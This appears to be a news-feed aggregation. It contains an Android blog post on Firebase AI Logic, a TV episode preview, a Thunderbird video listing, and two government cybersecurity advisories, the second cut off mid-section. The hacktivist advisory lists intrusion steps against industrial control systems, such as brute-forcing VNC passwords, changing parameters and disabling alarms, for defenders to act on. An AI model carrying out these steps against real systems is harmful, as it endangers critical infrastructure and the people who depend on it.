For Jetpacker we added a booking assistant that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using A2UI and ADK running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.

Learn more

Check out the other parts of this blog post series:

Part 1 (this post!): Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

Build intelligent Android apps: Cloud and hybrid inference

Sat, 25 Jul 2026 10:15:23 +0200

Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.

In this post, we will look at how you can leverage Firebase AI Logic to build cloud-hosted and hybrid AI features:

Grounding answers in real-world context
Routing requests dynamically between cloud and local execution using hybrid inference
Translating content with custom routing systems

Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models.

Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.

Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and support chat featuring custom-routed live translation.

Let’s look at how we implemented three cloud and hybrid features in Jetpacker:

a museum assistant with web grounding
hybrid restaurant review drafting
hotel support chat featuring custom-routed live translation.

Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding

The Museum assistant is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.

Museum assistant is a chatbot that answers questions, such as

‘How can I get a ticket discount for Le Louvre?’

When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours.

Grounding data is added to the context window to enable the model

to answer questions correctly and accurately.

To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The Firebase AI Logic SDK supports three types of grounding:

URL grounding: Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).
Google Search grounding: Letting the model query the real-time Google search index for up-to-date details.
Maps grounding: Using Google Maps location data.

In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:

// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )

When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:

val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)

Hybrid inference: On-device review generation with Maps deep link

Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the Firebase API for Hybrid Inference.

In Jetpacker, the restaurant review feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano.

The restaurant review feature uses hybrid inference to draft a review based on topics

// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)

The Hybrid Inference API supports four distinct routing modes:

PREFER_ON_DEVICE: Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.
PREFER_IN_CLOUD: Prioritizes cloud execution and falls back to on-device if the device goes offline.
ONLY_ON_DEVICE: Restricts execution strictly to the device.
ONLY_IN_CLOUD: Restricts execution strictly to the cloud.

Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:

private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}

Custom hybrid routing: Hotel support chat translation with simulated personas

The hotel support chat was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )

Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language.

Hotel support chat messages are automatically translated to the user’s preferred language

While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:

Language identification: Using the on-device ML Kit Language Identification API, we can detect the incoming message language.
On-device translation (Gemini Nano): ML Kit’s Prompt API lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.
Cloud translation (Gemini 3 Flash): For more complex languages, we use Gemini Flash 3 to get a higher quality translation.

// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )

When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:

fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" && sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current ->
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}

In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.

Securing the AI Pipelines: Firebase App Check

Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated Firebase App Check using both Play Integrity (production) and the local Debug Provider (for local development or emulators).

In the JetPackerApplication.kt file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:

//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}

When building locally on an emulator, App Check prints a local token secret to logcat:

Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e

Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.

Conclusion

By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.

Check out the full source code for Jetpacker on GitHub, and explore the Firebase documentation to get started:

Firebase AI Logic Documentation
Firebase Hybrid Inference API

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3 (this post!): Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

‘Sugar’ Season 2, Episode 7 Release Date and What to Expect

Sat, 25 Jul 2026 10:05:43 +0200

“Sugar” Season 2, Episode 7 will arrive on Apple TV on Friday, July 31, 2026. The upcoming chapter serves as the penultimate episode, bringing John Sugar closer to the truth behind his latest case while his conflict with Deputy Vega reaches a dangerous stage. The neo-noir detective series returned for its second season on June 19, with Colin Farrell once again playing the mysterious private investigator. New episodes have followed every Friday, and the eight-episode season will conclude on August 7. Release date: Friday, July 31, 2026 Streaming platform: Apple TV Season: 2 Episode: 7 Genre: Crime, drama, mystery and neo-noir Season finale: Friday, August 7, 2026 What is happening in ‘Sugar’ Season 2? Spoilers ahead for Season 2, Episode 6. Season 2 follows Sugar as he investigates another disappearance in Los Angeles while continuing his personal search for his missing sister, Djen. His new case involves the disappearance of a boxer’s brother, but the investigation has gradually exposed a much larger criminal operation involving drugs, false death records and housing fraud. Episode 6, titled “Cautionary Tale,” explored Sugar’s past and his growing fear that life on Earth has changed him. A flashback involving Peg Rosenthal showed the emotional damage caused when members of his alien community become too attached to human desires. Meanwhile, Sugar obtained evidence connected to Operation: Fire Sale and confronted the increasingly unstable Deputy Vega. He stopped himself from killing Vega, although the episode’s final bar encounter made it clear that their conflict remains unresolved. What to expect from Episode 7 Episode 7 will likely push Sugar and Vega toward a direct confrontation. Vega’s threat against Ji Moon gives Sugar another reason to act, while the evidence surrounding Operation: Fire Sale can expose everyone involved in the scheme. The episode should also bring Sugar’s new investigation closer to a resolution before the finale. However, his search for Djen and his unfinished business with Henry remain part of the larger story that began in Season 1. The first season ended after Sugar rescued Olivia Siegel and discovered that Henry, another member of his alien group, had information about Djen’s disappearance. Sugar chose to remain on Earth after the other Polyglots prepared to leave, setting up his continuing search in Season 2. “Sugar” Season 2, Episode 7 streams July 31 on Apple TV. What do you think Sugar will do when he faces Vega again? Let us know in the comments.

Community Office Hours: Exchange Email Support

Sat, 25 Jul 2026 10:05:14 +0200

Author: Mozilla Thunderbird - Bewertung: 15x - Views:697

Welcome to the last Community Office Hours of 2025! In this edition, Heather and Monica welcome Sr. Software Engineer Brendan Abolivier and Software Engineer Eleanor Dichary from the Desktop Team. We’re discussing the recent Exchange Web Support for email that just landed in Thunderbird Monthly Release 145. Learn how the team landed this feature and discover future plans for Calendar and Contact support, as well as Graph API

Chapters:
00:00 Intro
03:50 What is Microsoft Exchange
05:07 Why it took so long to add Exchange
14:33 Exchange in Thunderbird 145
18:20 Config options and authorization
27:10 Attachments and storage
32:30 Sync and folder operations
36:10 Filters and notification
39:10 Search
40:20 Feedback and bug reporting
43:00 Mobile and Graph API
49:09 JMAP and future protocols
55:50 Calendar and address book
59:57 Roadmap and EWS deprecation
62:23 Closing

Resources:
Exchange Mozilla Support Article: https://support.mozilla.org/en-US/kb/thunderbird-and-exchange
Exchange Mozilla Wiki Post (with call for testing): https://wiki.mozilla.org/Thunderbird%3AExchange
Reach out on Matrix: https://matrix.to/#/#thunderbird:mozilla.org
Bugzilla (use Exchange component for reporting): https://bugzilla.mozilla.org/enter_bug.cgi?product=MailNews%20Core

Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider

Sat, 25 Jul 2026 09:19:52 +0200

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.¹Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.¹

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider (PDF, 420.49 KB )

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file /SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

Isolate the SimpleHelp server instance from the internet or stop the server process.
Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.²
Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

Windows: %APPDATA%\JWrapper-Remote Access
Linux: /opt/JWrapper-Remote Access
MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in /JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with indicate the server addresses where the service is registered.


SimpleHelp Server
Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.
If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

 Refer to SimpleHelp’s guidance to determine compromise and next steps.³
Isolate the SimpleHelp server instance from the internet or stop the server process.
Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.⁴

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.
Encrypted Downstream Customers and End Users
If a system has been encrypted by ransomware:

Disconnect the affected system from the internet.
Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).
Proactive Mitigations to Reduce Risk
To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

Maintain a robust asset inventory and hardware list [CPG 1.A].
Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.

An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.



Resources

Health-ISAC:Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks
Arctic Wolf: Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access
CISA: #StopRansomware Guide

Reporting
Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.
FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.
CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).
SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.
Version History
June 12, 2025: Initial version.
Notes
1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.



Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
Sat, 25 Jul 2026 09:15:46 +0200
Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.
FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

U.S. Department of Energy (DOE)
U.S. Environmental Protection Agency (EPA)
U.S. Department of Defense Cyber Crime Center (DC3)
Europol European Cybercrime Centre (EC3)
EUROJUST – European Union Agency for Criminal Justice Cooperation
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Canadian Centre for Cyber Security (Cyber Centre)
Canadian Security Intelligence Service (CSIS)
Czech Republic Military Intelligence (VZ)
Czech Republic National Cyber and Information Security Agency (NÚKIB)
Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
French National Cybercrime Unit – Gendarmerie Nationale (UNC)
French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
German Federal Office for Information Security (BSI)
Italian State Police (PS)
Latvian State Police (VP)
Lithuanian Criminal Police Bureau (LKPB)
New Zealand National Cyber Security Centre (NCSC-NZ)
Romanian National Police (PR)
Spanish Civil Guard (GC)
Spanish National Police (CNP)
Swedish Polisen (SC3)
United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.
The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.
Download the PDF version of this report:






    
    Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
    (PDF,       1.53 MB
  )
  

Background and Development of Pro-Russia Hacktivist Groups
Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.
Cyber Army of Russia Reborn
The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.
In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.
CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.
In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.
The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.
NoName057(16)
The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.
Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 
In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.
Z-Pentest
Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.
Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.
Sector16
Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.
Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.
Technical Details
Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
TTP Overview
Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.
Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.
Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.
Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
Use VNC software to access hosts [T1021.005].
Confirm connection to the vulnerable device [T0886].
Brute force the password, if required [T1110.003].
Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
Log the confirmed vulnerable device IP address, port, and password.
Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:

Modify usernames/passwords [T0892];
Modify parameters [T0836];
Modify device name [T0892];
Modify instrument settings [T0831];
Disable alarms [T0878];
Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
Device restart or shutdown [T0816].


Disconnect from the device, ending the VNC connection.
Research the compromised device company after the intrusion [T1591].

Propagation
